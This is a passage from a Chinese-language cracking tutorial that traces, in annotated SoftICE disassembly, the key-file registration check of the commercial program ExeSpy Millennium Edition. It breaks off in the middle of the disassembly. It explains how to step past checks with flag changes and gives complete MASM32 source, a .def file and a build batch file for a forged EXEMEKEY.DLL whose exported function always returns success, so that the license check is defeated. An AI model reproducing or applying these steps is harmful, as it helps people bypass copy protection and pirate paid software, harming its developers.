7. 同样地，在ExeSpyME注册框中点击“LOAD”，程序立马被softice拦截住(希望顺利一些，不要太复杂了呀^_^)；

8. 用 bd * 暂停断点 bpx hmemcpy ；

9. 按F12键返回到ExeSpyME的领空(跟98系列一样，应该还是9次啦！)，程序停留在下面的地方：

。。。
0167:00411A30 MOV BYTE PTR [EBP-50],00
0167:00411A34 PUSH 50
0167:00411A36 LEA ECX,[EBP-50]
0167:00411A39 PUSH ECX
0167:00411A3A PUSH 000000BF
0167:00411A3F MOV EDX,[EBP+08]
0167:00411A42 PUSH EDX
0167:00411A43 CALL [USER32!GetDlgItemTextA]　 <-- 获取输入的驱动器号
0167:00411A49 MOVSX EAX,BYTE PTR [EBP-50]　　　<-- 我们来到这里，将驱动器号送入EAX
0167:00411A4D CMP EAX,41
0167:00411A50 JL 00411A5B
0167:00411A52 MOVSX ECX,BYTE PTR [EBP-50]
0167:00411A56 CMP ECX,5A
0167:00411A59 JLE 00411A75
0167:00411A5B MOVSX EDX,BYTE PTR [EBP-50]
0167:00411A5F CMP EDX,61
0167:00411A62 JL 00411DD7
0167:00411A68 MOVSX EAX,BYTE PTR [EBP-50]
0167:00411A6C CMP EAX,7A
0167:00411A6F JG 00411DD7
0167:00411A75 MOV DWORD PTR [EBP-00A4],00000001　<-- [EBP-00A4]置1
0167:00411A7F MOVSX ECX,BYTE PTR [004200AC]　 <-- 004200AC指向字符串“.\EXEMEKEY.DLL”
0167:00411A86 TEST ECX,ECX
0167:00411A88 JZ 00411BF7
0167:00411A8E LEA EDX,[EBP-50]
0167:00411A91 PUSH EDX
0167:00411A92 LEA EAX,[EBP+FFFFEF54]
0167:00411A98 PUSH EAX
0167:00411A99 CALL [KERNEL32!lstrcpy]
0167:00411A9F PUSH 00425154
0167:00411AA4 LEA ECX,[EBP+FFFFEF54]
0167:00411AAA PUSH ECX
0167:00411AAB CALL [KERNEL32!lstrcat]
0167:00411AB1 PUSH 004200AE
0167:00411AB6 LEA EDX,[EBP+FFFFEF54]
0167:00411ABC PUSH EDX
0167:00411ABD CALL [KERNEL32!lstrcat]
0167:00411AC3 PUSH 004200AC
0167:00411AC8 LEA EAX,[EBP+FFFFDF54]
0167:00411ACE PUSH EAX
0167:00411ACF CALL [KERNEL32!lstrcpy]
0167:00411AD5 PUSH 00
0167:00411AD7 LEA ECX,[EBP+FFFFEF54]
0167:00411ADD PUSH ECX　　　　　　　　　　　　<-- ECX指向字符串“C:\EXEMEKEY.DLL”
0167:00411ADE CALL [KERNEL32!_lopen]　　　　　<-- 打开KEY FILE“C:\EXEMEKEY.DLL”
0167:00411AE4 MOV [EBP-00A8],EAX
0167:00411AEA CMP DWORD PTR [EBP-00A8],-01
0167:00411AF1 JNZ 00411B36
0167:00411AF3 LEA EDX,[EBP+FFFFEF54]
0167:00411AF9 PUSH EDX
0167:00411AFA PUSH 00425158
0167:00411AFF LEA EAX,[EBP-00A0]
0167:00411B05 PUSH EAX
0167:00411B06 CALL [USER32!wsprintfA]
0167:00411B0C ADD ESP,0C
0167:00411B0F PUSH 10
0167:00411B11 PUSH 0042516C
0167:00411B16 LEA ECX,[EBP-00A0]
0167:00411B1C PUSH ECX
0167:00411B1D MOV EDX,[EBP+08]
0167:00411B20 PUSH EDX
0167:00411B21 CALL [USER32!MessageBoxA]
0167:00411B27 MOV DWORD PTR [EBP-00A4],00000000
0167:00411B31 JMP 00411BF7
0167:00411B36 PUSH 00
0167:00411B38 LEA EAX,[EBP+FFFFDF54]
0167:00411B3E PUSH EAX　　　　　　　　　　　　<-- EAX指向字符串“.\EXEMEKEY.DLL”
0167:00411B3F CALL [KERNEL32!_lcreat]　　　　 <-- 在EXESPYME的当前目录创建文件“EXEMEKEY.DLL”
0167:00411B45 MOV [EBP-00AC],EAX
0167:00411B4B CMP DWORD PTR [EBP-00AC],-01
0167:00411B52 JNZ 00411B9B
0167:00411B54 LEA ECX,[EBP+FFFFDF54]
0167:00411B5A PUSH ECX
0167:00411B5B LEA EDX,[EBP+FFFFEF54]
0167:00411B61 PUSH EDX
0167:00411B62 PUSH 00425174
0167:00411B67 LEA EAX,[EBP-00A0]
0167:00411B6D PUSH EAX
0167:00411B6E CALL [USER32!wsprintfA]
0167:00411B74 ADD ESP,10
0167:00411B77 PUSH 10
0167:00411B79 PUSH 00425194
0167:00411B7E LEA ECX,[EBP-00A0]
0167:00411B84 PUSH ECX
0167:00411B85 MOV EDX,[EBP+08]
0167:00411B88 PUSH EDX
0167:00411B89 CALL [USER32!MessageBoxA]
0167:00411B8F MOV DWORD PTR [EBP-00A4],00000000
0167:00411B99 JMP 00411BEA
0167:00411B9B PUSH 50
0167:00411B9D LEA EAX,[EBP-00A0]
0167:00411BA3 PUSH EAX
0167:00411BA4 MOV ECX,[EBP-00A8]
0167:00411BAA PUSH ECX
0167:00411BAB CALL [KERNEL32!_hread]　　　　　<-- 读文件“C:\EXEMEKEY.DLL”
0167:00411BB1 MOV [EBP+FFFFDF50],EAX
0167:00411BB7 CMP DWORD PTR [EBP+FFFFDF50],00
0167:00411BBE JLE 00411BDD
0167:00411BC0 MOV EDX,[EBP+FFFFDF50]
0167:00411BC6 PUSH EDX
0167:00411BC7 LEA EAX,[EBP-00A0]
0167:00411BCD PUSH EAX
0167:00411BCE MOV ECX,[EBP-00AC]
0167:00411BD4 PUSH ECX
0167:00411BD5 CALL [KERNEL32!_hwrite]　　　　 <-- 写文件“.\EXEMEKEY.DLL”
0167:00411BDB JMP 00411B9B
0167:00411BDD MOV EDX,[EBP-00AC]
0167:00411BE3 PUSH EDX
0167:00411BE4 CALL [KERNEL32!_lclose]　　　　 <-- 关闭文件“.\EXEMEKEY.DLL”
0167:00411BEA MOV EAX,[EBP-00A8]
0167:00411BF0 PUSH EAX
0167:00411BF1 CALL [KERNEL32!_lclose]　　　　 <-- 关闭文件“C:\EXEMEKEY.DLL”
0167:00411BF7 CMP DWORD PTR [EBP-00A4],00
0167:00411BFE JZ 00411DD5　　　　　　　　　 <-- 不会跳
0167:00411C04 PUSH 0042519C
0167:00411C09 LEA ECX,[EBP-50]
0167:00411C0C PUSH ECX
0167:00411C0D CALL [KERNEL32!lstrcat]
0167:00411C13 PUSH 0042009E
0167:00411C18 LEA EDX,[EBP-50]
0167:00411C1B PUSH EDX
0167:00411C1C CALL [KERNEL32!lstrcat]
0167:00411C22 PUSH 00
0167:00411C24 LEA EAX,[EBP-50]
0167:00411C27 PUSH EAX　　　　　　　　　　　　<-- EAX指向字符串“C:\EXEMEUE.DAT”
0167:00411C28 CALL [KERNEL32!_lopen]　　　　　<-- 打开KEY FILE“C:\EXEMEUE.DAT”
0167:00411C2E MOV [EBP-00A8],EAX
0167:00411C34 CMP DWORD PTR [EBP-00A8],-01
0167:00411C3B JNZ 00411C73
0167:00411C3D LEA ECX,[EBP-50]
0167:00411C40 PUSH ECX
0167:00411C41 PUSH 004251A0
0167:00411C46 LEA EDX,[EBP-00A0]
0167:00411C4C PUSH EDX
0167:00411C4D CALL [USER32!wsprintfA]
0167:00411C53 ADD ESP,0C
0167:00411C56 PUSH 10
0167:00411C58 PUSH 004251B4
0167:00411C5D LEA EAX,[EBP-00A0]
0167:00411C63 PUSH EAX
0167:00411C64 MOV ECX,[EBP+08]
0167:00411C67 PUSH ECX
0167:00411C68 CALL [USER32!MessageBoxA]
0167:00411C6E JMP 00411DD5
0167:00411C73 MOV EDX,[EBP-00A8]
0167:00411C79 PUSH EDX
0167:00411C7A CALL [KERNEL32!_lclose]　　　　 <-- 关闭文件“C:\EXEMEUE.DAT”
0167:00411C80 LEA EAX,[EBP+FFFFDC9C]
0167:00411C86 PUSH EAX　　　　　　　　　　　　<-- 内存地址压栈
0167:00411C87 LEA ECX,[EBP+FFFFDCA4]
0167:00411C8D PUSH ECX　　　　　　　　　　　　<-- 内存地址压栈
0167:00411C8E PUSH 0042006C　　　　　　　　　 <-- 内存地址0042006C中是字符串“ExeSpy Millennium Edition for Windows ME/98/95”
0167:00411C93 LEA EDX,[EBP-50]
0167:00411C96 PUSH EDX　　　　　　　　　　　　<-- EDX指向字符串“C:\EXEMEUE.DAT”
0167:00411C97 CALL 00419455　　　　　　　　　 <-- 初步验证KEY FILE“C:\EXEMEUE.DAT”
0167:00411C9C MOV [EBP+FFFFDCA0],EAX
0167:00411CA2 CMP DWORD PTR [EBP+FFFFDCA0],00
0167:00411CA9 JNZ 00411CC6　　　　　　　　　 <-- 验证成功，则跳到00411CC6去
。。。

10. 这篇文章我不想再像前次那般详细，因为经过98系列的破解后我们对程序已经有了足够的了解，所以这里“话不多说，点到即止”！在跟踪的时候也没有必要一步的走了，我们可以加快脚步，只是到了关键处才停下来看看，但是因为还不知道ME系列到底和98系列是否有多大的不同，所以我们还必须要从头开始跟踪程序一直到最后(针对“.DAT”KEY FILE而言)！

11. 上面的程序段作用比较简单，主要是试着分别打开KEY FILE“EXEMEKEY.DLL”和“EXEMEUE.DAT”，如果有一个文件不存在则显示出错信息，否则将KEY FILE“EXEMEKEY.DLL”拷贝到EXESPYME的当前目录下；最后有个子程序CALL　00419455，看看其入口参数我们就知道是要初步验证“EXEMEUE.DAT”的有效性，那么这个CALL是否跟98系列的那个CALL一模一样呢？当然不能保证了，但是至少应该不会差太多吧，还楞在这里干什么，赶紧进去啊：
。。。
0167:00419455 PUSH EBP
0167:00419456 MOV EBP,ESP
0167:00419458 SUB ESP,24
0167:0041945B MOV DWORD PTR [00426E00],00000000
0167:00419465 MOV DWORD PTR [00426E04],00000000
0167:0041946F MOV DWORD PTR [00429F84],00429FA0
0167:00419479 PUSH 00008003
0167:0041947E CALL [KERNEL32!SetErrorMode]
0167:00419484 MOV [EBP-1C],EAX
0167:00419487 PUSH 00
0167:00419489 MOV EAX,[EBP+08]
0167:0041948C PUSH EAX
0167:0041948D CALL [KERNEL32!_lopen]　　　　　<-- 打开KEY FILE“C:\EXEMEUE.DAT”
0167:00419493 MOV [EBP-18],EAX
0167:00419496 MOV ECX,[EBP-1C]
0167:00419499 PUSH ECX
0167:0041949A CALL [KERNEL32!SetErrorMode]
0167:004194A0 CMP DWORD PTR [EBP-18],-01
0167:004194A4 JZ 004194B9
0167:004194A6 PUSH 04
0167:004194A8 PUSH 00429FA0　　　　　　　　　 <-- 将KEY FILE内容读到内存地址00429FA0处
0167:004194AD MOV EDX,[EBP-18]
0167:004194B0 PUSH EDX
0167:004194B1 CALL [KERNEL32!_hread]
0167:004194B7 JMP 004194D2
0167:004194B9 PUSH 00425BD4
0167:004194BE MOV EAX,[EBP+10]
0167:004194C1 ADD EAX,18
0167:004194C4 PUSH EAX
0167:004194C5 CALL [KERNEL32!lstrcpy]
0167:004194CB XOR EAX,EAX
0167:004194CD JMP 00419579
0167:004194D2 MOV ECX,[EBP-18]
0167:004194D5 PUSH ECX
0167:004194D6 CALL [KERNEL32!_lclose]
0167:004194DC CMP DWORD PTR [00429FA0],53595053 <-- 53595053即字符串“SPYS”
0167:004194E6 JNZ 004194EF
0167:004194E8 XOR EAX,EAX
0167:004194EA JMP 00419579　　　　　　　　　　　　<-- 完蛋了，GAME OVER！
0167:004194EF CMP DWORD PTR [00429FA0],31595053 <-- 31595053即字符串“SPY1”
0167:004194F9 JNZ 0041952A
0167:004194FB CMP DWORD PTR [004256F4],02　　　　 <-- [004256F4] = 03
0167:00419502 JG 0041951E
0167:00419504 MOV EDX,[EBP+14]
0167:00419507 PUSH EDX
0167:00419508 MOV EAX,[EBP+10]
0167:0041950B PUSH EAX
0167:0041950C MOV ECX,[EBP+0C]
0167:0041950F PUSH ECX
0167:00419510 MOV EDX,[EBP+08]
0167:00419513 PUSH EDX
0167:00419514 CALL 004197FC
0167:00419519 MOV [EBP-20],EAX
0167:0041951C JMP 00419525
0167:0041951E MOV DWORD PTR [EBP-20],00000000
0167:00419525 MOV EAX,[EBP-20]
0167:00419528 JMP 00419579　　　　　　　　　　　　<-- 完蛋了，GAME OVER！
0167:0041952A CMP DWORD PTR [00429FA0],32595053 <-- 32595053即字符串“SPY2”
0167:00419534 JNZ 00419565
0167:00419536 CMP DWORD PTR [004256F4],03　　　　 <-- [004256F4] = 03
0167:0041953D JG 00419559
0167:0041953F MOV EAX,[EBP+14]
0167:00419542 PUSH EAX　　　　　　　　　　　　<-- 内存地址压栈
0167:00419543 MOV ECX,[EBP+10]
0167:00419546 PUSH ECX　　　　　　　　　　　　<-- 内存地址压栈
0167:00419547 MOV EDX,[EBP+0C]
0167:0041954A PUSH EDX　　　　　　　　　　　　<-- EDX指向字符串“ExeSpy Millennium Edition for Windows ME/98/95”
0167:0041954B MOV EAX,[EBP+08]
0167:0041954E PUSH EAX　　　　　　　　　　　　<-- EAX指向字符串“C:\EXEMEUE.DAT”
0167:0041954F CALL 0041A0CC　　　　　　　　　 <-- 验证KEY FILE“C:\EXEMEUE.DAT”
0167:00419554 MOV [EBP-24],EAX
0167:00419557 JMP 00419560
0167:00419559 MOV DWORD PTR [EBP-24],00000000
0167:00419560 MOV EAX,[EBP-24]
0167:00419563 JMP 00419579
0167:00419565 PUSH 00425BE0
0167:0041956A MOV ECX,[EBP+10]
0167:0041956D ADD ECX,18
0167:00419570 PUSH ECX
0167:00419571 CALL [KERNEL32!lstrcpy]
0167:00419577 XOR EAX,EAX
0167:00419579 MOV ESP,EBP
0167:0041957B POP EBP
0167:0041957C RET 0010
。。。

12. 是不是跟98系列不一样了呀？“半路杀出个程咬金”，程序中多了一个值为03的常量[004256F4]掺和进来，为什么我说是常量呢？因为这个值不是KEY FILE验证部分程序设置的，而且你可以试着多运行程序几次，它的值都固定为03，在这段程序中，我们可以发现以前98系列采用的两种KEY FILE型“SPYS”和“SPY1”在这里都已经失效，只有当KEY FILE数据的头4个字符是“SPY2”才能继续下面的验证；因此现在要么回头修改那个假的KEY FILE，要么用 RFL Z 命令骗过程序，总之要走到0167:0041954F处的CALL　0041A0CC并跟踪进去(其它地方都是死路一条啊！另外，关于[004256F4]，用W32DASM反汇编EXESPYME之后查找“004256F4”，你会发现这个值其实是程序初始化时设置的一个跟版本有关的东西，所以它是不会变的)：
。。。
0167:0041A0CC PUSH EBP
0167:0041A0CD MOV EBP,ESP
0167:0041A0CF SUB ESP,24
0167:0041A0D2 MOV DWORD PTR [EBP-08],00000000　<-- [EBP-08]置00
0167:0041A0D9 MOV DWORD PTR [EBP-04],00000000　<-- [EBP-04]置00
0167:0041A0E0 MOVSX EAX,BYTE PTR [004200AC]
0167:0041A0E7 TEST EAX,EAX
0167:0041A0E9 JZ 0041A15A
0167:0041A0EB PUSH 004200AC　　　　　　　　　 <-- 004200AC指向字符串“.\EXEMEKEY.DLL”
0167:0041A0F0 CALL [KERNEL32!LoadLibraryA]　　<-- 加载EXESPYME当前目录中的动态链接库“EXEMEKEY.DLL”
0167:0041A0F6 MOV [EBP-1C],EAX　　　　　　　 <-- 保存返回结果，成功则EAX为动态链接库句柄，否则EAX=NULL
0167:0041A0F9 CMP DWORD PTR [EBP-1C],00　　　<-- 加载成功吗？
0167:0041A0FD JZ 0041A15A　　　　　　　　　 <-- 不成功
0167:0041A0FF PUSH 65　　　　　　　　　　　　 <-- 引出函数索引值为65
0167:0041A101 MOV ECX,[EBP-1C]
0167:0041A104 PUSH ECX　　　　　　　　　　　　<-- 动态链接库句柄压栈
0167:0041A105 CALL [KERNEL32!GetProcAddress]　<-- 得到引出索引值为65的函数在内存中的地址值
0167:0041A10B MOV [EBP-20],EAX　　　　　　　 <-- 保存返回结果，成功则EAX为函数地址，否则EAX=NULL
0167:0041A10E CMP DWORD PTR [EBP-20],00　　　<-- 动态链接库“EXEMEKEY.DLL”中是否存在索引值为65的函数？
0167:0041A112 JZ 0041A150　　　　　　　　　 <-- 不成功
0167:0041A114 LEA EDX,[EBP-18]
0167:0041A117 PUSH EDX　　　　　　　　　　　　<-- 内存地址EBP-18压栈
0167:0041A118 PUSH 000002AC　　　　　　　　　 <-- 常数000002AC压栈
0167:0041A11D PUSH 00429380　　　　　　　　　 <-- 内存地址00429380压栈
0167:0041A122 CALL [EBP-20]　　　　　　　　　 <-- 调用动态链接库中引出索引值为65的函数(搞什么鬼呀！不明白！)
0167:0041A125 MOV [EBP-04],EAX　　　　　　　 <-- 保存函数返回结果EAX到[EBP-04]
0167:0041A128 CMP DWORD PTR [EBP-04],00　　　<-- 返回结果为00吗？
0167:0041A12C JZ 0041A150　　　　　　　　　 <-- 是则跳到0041A150去，想想。。。哇噻！跳过去就死跷跷了！
0167:0041A12E MOV EAX,[EBP-18]　　　　　　　 <-- EBP-18是函数的入口参数之一
0167:0041A131 MOV [004256E0],EAX　　　　　　 <-- [EBP-18]存入[004256E0]
0167:0041A136 MOV ECX,[EBP-14]
0167:0041A139 MOV [004256E4],ECX　　　　　　 <-- [EBP-14]存入[004256E4]
0167:0041A13F MOV EDX,[EBP-10]
0167:0041A142 MOV [004256E8],EDX　　　　　　 <-- [EBP-10]存入[004256E8]
0167:0041A148 MOV EAX,[EBP-0C]
0167:0041A14B MOV [004256EC],EAX　　　　　　 <-- [EBP-0C]存入[004256EC]
0167:0041A150 MOV ECX,[EBP-1C]
0167:0041A153 PUSH ECX　　　　　　　　　　　　<-- 动态链接库句柄压栈
0167:0041A154 CALL [KERNEL32!FreeLibrary]　　 <-- 释放动态链接库“.\EXEMEKEY.DLL”
0167:0041A15A CMP DWORD PTR [EBP-04],00　　　<-- [EBP-04]仍然是00吗？
0167:0041A15E JZ 0041A178　　　　　　　　　 <-- 是则跳到0041A178去
0167:0041A160 MOV EDX,[EBP+14]
0167:0041A163 PUSH EDX　　　　　　　　　　　　<-- 内存地址压栈
0167:0041A164 MOV EAX,[EBP+10]
0167:0041A167 PUSH EAX　　　　　　　　　　　　<-- 内存地址压栈
0167:0041A168 MOV ECX,[EBP+0C]
0167:0041A16B PUSH ECX　　　　　　　　　　　　<-- ECX指向字符串“ExeSpy Millennium Edition for Windows ME/98/95”
0167:0041A16C MOV EDX,[EBP+08]
0167:0041A16F PUSH EDX　　　　　　　　　　　　<-- EAX指向字符串“C:\EXEMEUE.DAT”
0167:0041A170 CALL 00419C0B　　　　　　　　　 <-- 继续验证KEY FILE“C:\EXEMEUE.DAT”(烦不烦啊，不知道还会出什么花招？！)
0167:0041A175 MOV [EBP-08],EAX　　　　　　　 <-- 验证结果存在[EBP-08]中
0167:0041A178 PUSH 00000298　　　　　　　　　 <-- 常数000002AC压栈
0167:0041A17D PUSH 00429394　　　　　　　　　 <-- 内存地址00429380+14压栈(为什么这样写，因为地址00429394在00429380的偏移14处
0167:0041A182 MOV EAX,[EBP+10]　　　　　　　 <-- EBP+10是前面CALL　00419C0B的入口参数之一
0167:0041A185 ADD EAX,14　　　　　　　　　　 <-- 偏移14处的地址给EAX
0167:0041A188 PUSH EAX　　　　　　　　　　　　<-- EAX中的地址压栈
0167:0041A189 CALL 0041A085　　　　　　　　　 <-- 不知道里面有什么机关？
0167:0041A18E MOV [EBP-04],EAX　　　　　　　 <-- 返回值存在[EBP-04]中
0167:0041A191 MOV EAX,[EBP-04]
0167:0041A194 NEG EAX　　　　　　　　　　　　<-- [EBP-04]取反
0167:0041A196 SBB EAX,EAX　　　　　　　　　　<-- 带进位自减，如果CY=1，则EAX=FFFFFFFF，否则EAX=0
0167:0041A198 AND EAX,[EBP-08]　　　　　　　 <-- 减法结果和[EBP-08]相与作为子程序返回值
0167:0041A19B MOV ESP,EBP
0167:0041A19D POP EBP
0167:0041A19E RET 0010
。。。

13. 上面的程序跟98系列就完全不一样了，因为这里是“EXEMEKEY.DLL”在唱主角：0167:0041A0F0处的CALL　[KERNEL32!LoadLibraryA]加载动态链接库“EXEMEKEY.DLL”，接着0167:0041A105处的CALL　[KERNEL32!GetProcAddress]试图取得动态链接库中索引值为65的函数在内存中的地址，然后在0167:0041A122　CALL　[EBP-20]处程序调用这个函数；现在看来这个“EXEMEKEY.DLL”KEY FILE可不是省油的灯，因为我们构造的假“EXEMEKEY.DLL”只是个文本文件，所以当我们走到0167:0041A0F0　CALL　[KERNEL32!LoadLibraryA]时就已经被毙掉了；继续往下看，从0167:0041A12E到0167:0041A14B，紧接着刚才的函数调用之后程序开始设置[004256E0]、[004256E4]、[004256E8]和[004256EC]的值，这几个值肯定跟那个函数有关，随后程序在0167:0041A154　CALL　[KERNEL32!FreeLibrary]释放已经加载的动态连接库“EXEMEKEY.DLL”；

14. 到这里就不要急着往下走了(可以将鼠标移到0167:0041A0F0处并按F9设置一个断点，下次就不用重复前面已经搞清楚的跟踪了），因为程序在检测“EXEMEKEY.DLL”这个动态链接库KEY FILE，虽然可以继续用 RFL Z 来骗过去，但是我们要想破解它就必须写出真正的“EXEMEKEY.DLL”来，虽然现在还不知道“EXEMEKEY.DLL”的内部应该是什么样的程序结构，但是至少我们已经知道这个DLL至少包含一个索引值为65的引出函数，如果具备这个条件，那么程序就可以顺利的走到0167:0041A154　CALL　[KERNEL32!FreeLibrary]处，至于其它的奥妙要等后面的进一步跟踪才能明白；

15. 开头我就已经讲过破解EXESPYME需要懂得WIN32下的DLL汇编编程，所以这里我直接给出程序，至于为什么就不要问我了，如果你不懂DLL的知识，可以去主页的“汇编语言”中看看“Iczelion's Win32 汇编教学”，以下是源程序（用MASM32编译通过，MASM32可以在“汇编语言”中下载，其实程序再简单不过了^_^！）：
-------------------------------------------------------------------------------------------------------------------------
；Exemekey.asm

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data

.code
DllEntry proc hInstance:HINSTANCE, reason:DWORD, reserved1:DWORD
mov eax,TRUE
ret
DllEntry Endp

Call_ebp_20 proc
mov eax,00000001 <-- 注意：EAX是程序返回值，不能为0，所以将其设为1
ret 0ch <-- 为什么是“ret 0ch”，因为函数有3个入口参数嘛！，所以要让ESP加3*4=12，否则程序会出问题的
Call_ebp_20 Endp

End DllEntry

-----------------------------------------------------------------------------------------------------------------------
；Exemekey.def

LIBRARY Exemekey
EXPORTS Call_ebp_20 @101 <-- 101即为16进制数65H

-----------------------------------------------------------------------------------------------------------------------

；build.bat

@echo off
\masm32\bin\ml /c /coff /Cp Exemekey.asm
\masm32\bin\link /DLL /DEF:Exemekey.def /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib Exemekey.obj
pause

-----------------------------------------------------------------------------------------------------------------------

16. 用上面给出的批处理文件“build.bat”创建动态链接库KEY FILE“EXEMEKEY.DLL”，然后将其替换掉C盘根目录下原来那个假的文本DLL KEY FILE，重新来到步骤12的地方(记得刚才用F9设置的断点吗？)，因为现在我们的“EXEMEKEY.DLL”是个真正的DLL程序，并且具有索引值为65的函数，所以我们按F10可以一直来到0167:0041A170　CALL　00419C0B，接着按F8进入CALL　00419C0B里去：
。。。
0167:00419C0B PUSH EBP
0167:00419C0C MOV EBP,ESP
0167:00419C0E SUB ESP,60
0167:00419C11 PUSH ESI
0167:00419C12 MOV DWORD PTR [00426E00],00000000
0167:00419C1C MOV DWORD PTR [00426E04],00000002
0167:00419C26 MOV DWORD PTR [00429F84],00429FA0
0167:00419C30 PUSH 00008003
0167:00419C35 CALL [KERNEL32!SetErrorMode]
0167:00419C3B MOV [EBP-38],EAX
0167:00419C3E PUSH 00
0167:00419C40 MOV EAX,[EBP+08]
0167:00419C43 PUSH EAX
0167:00419C44 CALL [KERNEL32!_lopen]
0167:00419C4A MOV [EBP-34],EAX
0167:00419C4D MOV ECX,[EBP-38]
0167:00419C50 PUSH ECX
0167:00419C51 CALL [KERNEL32!SetErrorMode]
0167:00419C57 CMP DWORD PTR [EBP-34],-01
0167:00419C5B JZ 00419C73
0167:00419C5D PUSH 0001E000
0167:00419C62 PUSH 00429FA0
0167:00419C67 MOV EDX,[EBP-34]
0167:00419C6A PUSH EDX
0167:00419C6B CALL [KERNEL32!_hread]
0167:00419C71 JMP 00419C8C
0167:00419C73 PUSH 00425C64
0167:00419C78 MOV EAX,[EBP+10]
0167:00419C7B ADD EAX,18
0167:00419C7E PUSH EAX
0167:00419C7F CALL [KERNEL32!lstrcpy]
0167:00419C85 XOR EAX,EAX
0167:00419C87 JMP 0041A07E
0167:00419C8C MOV ECX,[EBP-34]
0167:00419C8F PUSH ECX
0167:00419C90 CALL [KERNEL32!_lclose]
0167:00419C96 MOV EDX,[00429FAC]
0167:00419C9C XOR EDX,[004256E8]
0167:00419CA2 MOV [EBP-20],EDX　　　　　　 <-- [EBP-20]=[00429FA0+0C] XOR [004256E8]
0167:00419CA5 MOV EAX,[00429FB0]
0167:00419CAA XOR EAX,[004256E4]
0167:00419CB0 MOV [EBP-1C],EAX　　　　　　 <-- [EBP-1C]=[00429FA0+10] XOR [004256E4]
0167:00419CB3 MOV ECX,[00429FB4]
0167:00419CB9 XOR ECX,[004256E0]
0167:00419CBF MOV [EBP-14],ECX　　　　　　 <-- [EBP-14]=[00429FA0+14] XOR [004256E0]
0167:00419CC2 MOV EDX,[EBP-14]
0167:00419CC5 XOR EDX,[EBP-1C]
0167:00419CC8 XOR EDX,[EBP-20]
0167:00419CCB MOV [EBP-0C],EDX　　　　　　 <-- [EBP-0C]=[EBP-20] XOR [EBP-1C] XOR [EBP-14]
0167:00419CCE MOV EAX,[00429FB8]
0167:00419CD3 MOV [EBP-28],EAX
0167:00419CD6 MOV EAX,[00429FA4]
0167:00419CDB XOR EAX,[00429FA8]
0167:00419CE1 CDQ
0167:00419CE2 AND EDX,03
0167:00419CE5 ADD EAX,EDX
0167:00419CE7 SAR EAX,02
0167:00419CEA ADD EAX,06
0167:00419CED MOV [EBP-10],EAX
0167:00419CF0 CMP DWORD PTR [EBP-10],00002800
0167:00419CF7 JL 00419D12
0167:00419CF9 PUSH 00425C70
0167:00419CFE MOV ECX,[EBP+10]
0167:00419D01 ADD ECX,18
0167:00419D04 PUSH ECX
0167:00419D05 CALL [KERNEL32!lstrcpy]
0167:00419D0B XOR EAX,EAX
0167:00419D0D JMP 0041A07E
0167:00419D12 MOV EDX,[EBP-10]
0167:00419D15 MOV EAX,[EDX*4+00429FA0]
0167:00419D1C MOV [EBP-28],EAX
0167:00419D1F MOV EAX,[EBP-28]
0167:00419D22 CDQ
0167:00419D23 AND EDX,03
0167:00419D26 ADD EAX,EDX
0167:00419D28 SAR EAX,02
0167:00419D2B MOV ECX,[EBP-10]
0167:00419D2E LEA EDX,[EAX+ECX+01]
0167:00419D32 MOV [EBP-10],EDX
0167:00419D35 CMP DWORD PTR [EBP-10],00002800
0167:00419D3C JGE 00419D44
0167:00419D3E CMP DWORD PTR [EBP-10],00
0167:00419D42 JG 00419D5D
0167:00419D44 PUSH 00425C7C
0167:00419D49 MOV EAX,[EBP+10]
0167:00419D4C ADD EAX,18
0167:00419D4F PUSH EAX
0167:00419D50 CALL [KERNEL32!lstrcpy]
0167:00419D56 XOR EAX,EAX
0167:00419D58 JMP 0041A07E
0167:00419D5D MOV ECX,[EBP-10]
0167:00419D60 MOV EDX,[ECX*4+00429FA0]
0167:00419D67 MOV [EBP-28],EDX
0167:00419D6A MOV EAX,[EBP-28]
0167:00419D6D MOV ECX,[EBP-10]
0167:00419D70 LEA EDX,[EAX+ECX+01]
0167:00419D74 CMP EDX,00002800
0167:00419D7A JGE 00419D8A
0167:00419D7C MOV EAX,[EBP-28]
0167:00419D7F MOV ECX,[EBP-10]
0167:00419D82 LEA EDX,[EAX+ECX+01]
0167:00419D86 TEST EDX,EDX
0167:00419D88 JG 00419DA3
0167:00419D8A PUSH 00425C88
0167:00419D8F MOV EAX,[EBP+10]
0167:00419D92 ADD EAX,18
0167:00419D95 PUSH EAX
0167:00419D96 CALL [KERNEL32!lstrcpy]
0167:00419D9C XOR EAX,EAX
0167:00419D9E JMP 0041A07E
0167:00419DA3 MOV ECX,[EBP-10]
0167:00419DA6 LEA EDX,[ECX*4+00429FA4]
0167:00419DAD MOV [EBP-18],EDX　　　　　　 <-- [EBP-18]=ECX*4+00429FA4
0167:00419DB0 MOV EAX,[EBP-18]
0167:00419DB3 ADD EAX,14
0167:00419DB6 MOV [00429F80],EAX
0167:00419DBB MOV DWORD PTR [EBP-24],000000A5
0167:00419DC2 JMP 00419DCD
0167:00419DC4 MOV ECX,[EBP-24]
0167:00419DC7 SUB ECX,01
0167:00419DCA MOV [EBP-24],ECX
0167:00419DCD CMP DWORD PTR [EBP-24],00
0167:00419DD1 JL 00419E03
0167:00419DD3 MOV EDX,[EBP-0C]
0167:00419DD6 XOR EDX,[EBP-24]
0167:00419DD9 MOV EAX,[EBP-24]
0167:00419DDC MOV ECX,[00429F80]
0167:00419DE2 MOV EAX,[EAX*4+ECX-04]
0167:00419DE6 XOR EAX,EDX
0167:00419DE8 MOV ECX,[EBP-24]
0167:00419DEB MOV EDX,[00429F80]
0167:00419DF1 MOV ECX,[ECX*4+EDX]
0167:00419DF4 XOR ECX,EAX
0167:00419DF6 MOV EDX,[EBP-24]
0167:00419DF9 MOV EAX,[00429F80]
0167:00419DFE MOV [EDX*4+EAX],ECX
0167:00419E01 JMP 00419DC4
0167:00419E03 MOV ECX,[00429F80]
0167:00419E09 MOV EDX,[ECX]
0167:00419E0B XOR EDX,[EBP-0C]
0167:00419E0E MOV EAX,[00429F80]
0167:00419E13 MOV [EAX],EDX
0167:00419E15 CMP DWORD PTR [EBP-0C],00
0167:00419E19 JZ 00419E23
0167:00419E1B MOV ECX,[EBP-0C]
0167:00419E1E MOV [EBP-60],ECX
0167:00419E21 JMP 00419E2A
0167:00419E23 MOV DWORD PTR [EBP-60],00000001
0167:00419E2A MOV EDX,[EBP+14]
0167:00419E2D MOV EAX,[EBP-60]
0167:00419E30 MOV [EDX],EAX
0167:00419E32 MOV ECX,[EBP+0C]
